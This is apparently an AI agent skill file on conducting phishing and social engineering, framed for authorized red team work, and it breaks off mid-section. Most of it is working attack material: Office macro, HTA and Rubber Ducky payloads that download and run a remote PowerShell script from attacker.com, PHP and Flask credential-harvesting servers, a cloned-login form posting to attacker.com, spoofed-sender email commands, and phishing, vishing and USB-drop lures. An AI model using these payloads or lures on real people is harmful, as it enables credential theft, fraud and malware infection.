/performing-social-engineering

name: performing-social-engineering
description: Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements.
verified: 2026-07-27

Performing Social Engineering

When to Use

• Phishing campaign execution
• Credential harvesting operations
• Social engineering assessments
• Red team engagements
• Security awareness testing

When NOT to Use

• **Any campaign without written authorization and a defined scope** — stop
• **Technical exploitation after a click** — use the relevant post-exploitation skill
• **Analyzing a phishing email you received** — use `analyzing-phishing-emails`

(headers, links, attachments); `analyzing-malware` for a detonated payload

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

**Gophish Campaign Setup:** 1. **Email Templates** - Create convincing phishing emails 2. **Landing Pages** - Clone legitimate sites for credential harvesting 3. **Sending Profiles** - Configure SMTP server 4. **Groups** - Import target user lists 5. **Campaign** - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

**Credential Harvester:**

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f ceo@company.com \
  -t target@company.com \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to target@company.com \
  --from ceo@company.com \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

**Malicious Office Macros:**

' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub

> Bracket-broken: `I[E]X` is `IEX`, `net.web[c]lient` is `net.webclient`, > `download[s]tring` is `downloadstring`. Written literally, this block is the > stock `TrojanDownloader:O97M` signature. See "Antivirus false positives" in > the repo README.

**Malicious PDF:**

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

**Malicious HTA:**

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

**Simple PHP Harvester:**

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

**Python Flask Harvester:**

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

• Services to spoof caller ID
• Impersonate IT support, executives, vendors
• Social engineering over phone

**Common Pretexts:**

• IT support needing to verify credentials
• HR department verifying personal information
• Finance department confirming wire transfer
• Vendor requiring payment information update

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

**Ducky Script Example:**

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER

**Bash Bunny:**

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

**Pretexts:**

• "Company Financial Data 2024"
• "Salary Information - Confidential"
• "Employee Bonuses Q4"
• "IT Security Update - Required"

**Payload